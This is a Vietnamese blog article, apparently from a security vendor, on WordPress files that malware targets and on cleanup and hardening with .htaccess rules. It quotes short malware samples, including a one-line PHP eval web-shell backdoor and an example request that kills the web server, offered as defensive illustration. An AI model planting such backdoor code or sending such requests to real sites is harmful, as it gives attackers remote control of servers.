WordPress đã làm cho việc xây dựng website trở nên cực kỳ dễ dàng, cho phép cá nhân và tổ chức mọi quy mô có mặt trên môi trường trực tuyến. Tuy nhiên, khi lưu trữ website WordPress, việc đảm bảo an ninh là yếu tố thiết yếu. Điều ai cũng ngại nhất là thức dậy một ngày và phát hiện website bị hack, tất cả nỗ lực phát triển và SEO tan tành mà không hề hay biết.
Do độ phổ biến cao, hacker thường nhắm vào WordPress cùng các theme và plugin. Nếu tìm thấy lỗ hổng trong một plugin, chúng có thể dễ dàng khai thác hầu hết các website cài plugin đó. Ví dụ điển hình là lỗ hổng gần đây của plugin Contact Form 7 – ước tính hơn 5 triệu website sử dụng plugin này bị ảnh hưởng, cho phép kẻ tấn công tải lên file tùy ý, vượt qua mọi giới hạn loại file cho phép, và chèn mã độc như web shell.
Tương tự, lỗ hổng LFI trong plugin Slider Revolution cho phép hacker tải file wp-config.php từ các site WordPress dễ bị tấn công. Điều này dẫn đến rò rỉ thông tin đăng nhập database, khóa mã hóa và các cấu hình nhạy cảm khác – được gọi là wp-config.php hack.
Trong hướng dẫn này, chúng ta sẽ bàn về các file và vị trí quan trọng trên site WordPress có thể trở thành mục tiêu của hacker và mã độc.
1) WordPress wp-config.php Hack
File wp-config.php là file cấu hình cốt lõi của mọi cài đặt WordPress, đóng vai trò cầu nối giữa hệ thống file WP và database. File này chứa thông tin nhạy cảm:
- Database host
- Username, password & port number
- Tên database
- Security keys của WordPress
- Tiền tố bảng database
Do tính nhạy cảm, đây là mục tiêu hấp dẫn cho hacker. Năm trước, lỗ hổng nghiêm trọng trong plugin Duplicator – Unauthenticated Arbitrary File Download – cho phép hacker tải file wp-config. Khi nắm được thông tin đăng nhập database, hacker cố gắng kết nối và tạo tài khoản admin giả mạo, giành quyền truy cập hoàn toàn. Dữ liệu nhạy cảm như mật khẩu user, email, file, hình ảnh, chi tiết giao dịch WooCommerce... đều bị lộ. Để duy trì quyền truy cập, chúng thường cài script backdoor như Filesman.
2) WordPress index.php Hacked
File index.php là điểm vào của mọi trang WordPress. Vì chạy trên mọi trang, hacker chèn mã độc ảnh hưởng toàn bộ site. Ví dụ: malware pub2srv và Favicon malware nhắm vào file index.php. Các nhà nghiên cứu Astra Security phát hiện mã độc như @include "\x2f/sgb\x2ffavi\x63on_5\x34e6ed\x2eico"; được chèn vào. Một số campaign malware đổi tên index.php thành index.php.bak khiến site crash. Mã độc trong index.php gây popup lạ, quảng cáo, hoặc chuyển hướng sang site spam. Cách khắc phục: so sánh nội dung file với bản gốc từ WordPress.
3) WordPress .htaccess File Hacked
File .htaccess (thường ở thư mục gốc, dùng trên Apache) cấu hình server theo nhu cầu site. Nó kiểm soát hiệu suất, hành vi và an ninh web server. Các chức năng thường见: giới hạn truy cập thư mục, cấu hình bộ nhớ, tạo redirect, ép HTTPS, quản lý cache, ngăn chặn script injection, kiểm soát kích thước upload, chặn bot dò username, block hotlink ảnh, ép tải file tự động, quản lý extension file.
Tuy nhiên, khi bị tấn công, các tính năng này bị lợi dụng để harvest click cho kẻ tấn công. File .htaccess thường bị chèn mã độc redirect user hoặc hiển thị spam. Ví dụ mã độc redirect traffic từ các search engine (Google, Bing, Yahoo...) sang domain độc hại. Nếu thấy redirect lạ, hãy kiểm tra file .htaccess. Nếu không tìm thấy file hoặc file rỗng – đừng hoảng, file này không bắt buộc (trừ khi dùng pretty URLs).
4) WordPress footer.php & header.php (Theme Files Hacked)
Mỗi theme WordPress có file footer.php và header.php chứa code cho footer/header – nơi đặt script, widget chung (share, social media, copyright...). Đây là hai file quan trọng thường bị nhắm để redirect malware và hiển thị spam (ví dụ malware redirect digestcolect[.com]). Site bị hack thường chứa mã rác trong các file này. Hacker tận dụng cookie trình duyệt để nhận diện user và hiển thị quảng cáo độc hại. Một trường hợp khác: attacker chèn JavaScript vào tất cả file .js, gây nhiễm tràn lan, khó dọn dẹp.
5) WordPress functions.php Hacked
File functions.php trong thư mục theme hoạt động như một plugin – thêm tính năng, gọi event/function WP, gọi function PHP native, hoặc định nghĩa function riêng. Chỉ có functions.php của theme active mới được thực thi. Do đó, file này bị nhắm trong Wp-VCD Backdoor Hack. Malware này tạo admin mới, chèn trang spam (Pharma, Japanese SEO spam). Code mẫu: <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>. File này include class.theme-modules.php để cài malware vào các theme khác (kể cả theme disabled), tạo user và backdoor mới, cho phép attacker truy cập ngay cả sau khi dọn dẹp.
6) WordPress wp-load.php Hacked
File wp-load.php bootstrap môi trường WordPress, cho phép plugin dùng function core WP. Nhiều biến thể malware tạo file wp-load giả mạo (như wp-load-eFtAh.php) để lén lút. Các file này chứa code như: <?php /*5b7bdc250b181*/ ?><?php @eval($_POST['pass']);?>. Code này cho phép attacker chạy bất kỳ PHP code nào gửi qua tham số pass. Backdoor này đủ nguy hiểm để điều khiển server từ xa – ví dụ lệnh https://yoursite/your.php?pass=system("killall -9 apache"); có thể kill tiến trình webserver, shutdown toàn bộ server.
7) Tràn Ngập File class-wp-cache.php Trên Server
Trong một vụ hack gần đây, cPanel và toàn bộ web server bị nhồi nhét hàng chục, thậm chí hàng nghìn file class-wp-cache.php. Mọi thư mục bao gồm core files đều bị nhiễm. Nguyên nhân thường là lỗ hổng trong code website mở cửa cho hacker.
Cách Thực Hiện Dọn Dẹp & Bảo Mật File WordPress
1) Dọn Dẹp File
Trước hết, điều tra nguyên nhân tấn công (như wp-config.php hack). Sau đó xóa mã độc/rác. Khôi phục file bị nhiễm từ backup (nếu có). Nếu không có backup, tham khảo file WordPress gốc trên GitHub. Luôn backup trước khi thay đổi – bất kỳ sai sót nào trong quá trình xóa code cũng có thể làm hỏng site.
2) Bảo Mật Site Bằng Plugin
Core CMS files thường bị hacker sửa đổi. Quan trọng: kiểm tra xem file core WP nào bị sửa. Khách hàng Astra Security đã có tính năng này và được thông báo tự động khi phát hiện thay đổi. Astra cũng cung cấp cơ chế review built-in cho các thay đổi file. Sau khi review, quét site bằng giải pháp Malware Scanning (như Astra Website Protection) để xác định file chứa mã độc. Công cụ này đưa báo cáo quét đầy đủ: file malware, link độc, nguyên nhân hack...
3) Ẩn File Nhạy Cảm
Phơi bày file có thể lộ thông tin nhạy cảm (như wp-config.php hack). Cần ẩn các file này trên server. File .htaccess giúp bảo mật. Để ngăn truy cập file PHP trong thư mục wp-content/uploads, tạo file .htaccess trong thư mục đó và thêm:
# Kill PHP Execution
<Files ~ ".ph(?:p[345]?|t|tml)$">
deny from all
</Files>
Để ẩn file nhạy cảm trong wp-includes, thêm vào .htaccess ở root:
# Block wp-includes folder and files
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
Hoặc cài plugin WP Hardening – ẩn file nhạy cảm (wp-contents, wp-uploads...) chỉ với một cú click. Plugin này cũng bảo mật nhiều lĩnh vực an ninh quan trọng khác.
4) Cập Nhật WordPress
Luôn cập nhật WP core, plugin, theme lên phiên bản mới nhất. Nhiều lỗ hổng được vá bằng việc chạy bản cập nhật. Chỉ dùng plugin/theme uy tín. Tránh theme/plugin nulled hoặc code kém chất lượng. Điều này giúp ngăn chặn các tấn công như wp-config.php hack.
5) Sử Dụng Firewall WordPress
Firewall đóng vai trò lớn trong bảo mật site. Firewall giám sát traffic đến và chặn chủ động các cuộc tấn công. Có nhiều giải pháp firewall hiệu quả chi phí. Firewall Astra linh hoạt, phù hợp nhu cầu, chặn real-time SQLi, code injection, XSS, CSRF và 100+ mối đe dọa cyber khác. Cũng phát hiện/chặn đăng nhập giả mạo, quét tự động định kỳ.
6) Kiểm Toán An Ninh WordPress Hoặc Pen Testing
Với WordPress là CMS phổ biến nhất, attacker luôn tìm lỗ hổng khai thác. Pen-testing WordPress site trở nên thiết yếu. Penetration Testing là mô phỏng tấn công chống lại web app, network, hoặc hệ thống để đánh giá an ninh, tìm lỗ hổng trước khi attacker làm. Một trong các mô phỏng: kiểm tra Directory Listing vulnerability – liệt kê thư mục nhạy cảm (wp-includes, wp-config.php, wp-admin, wp-load.php, wp-content...), cung cấp thông tin nhạy cảm cho attacker.
Khắc phục 12+ vấn đề an ninh chỉ với một click bằng Free WP Hardening Plugin của chúng tôi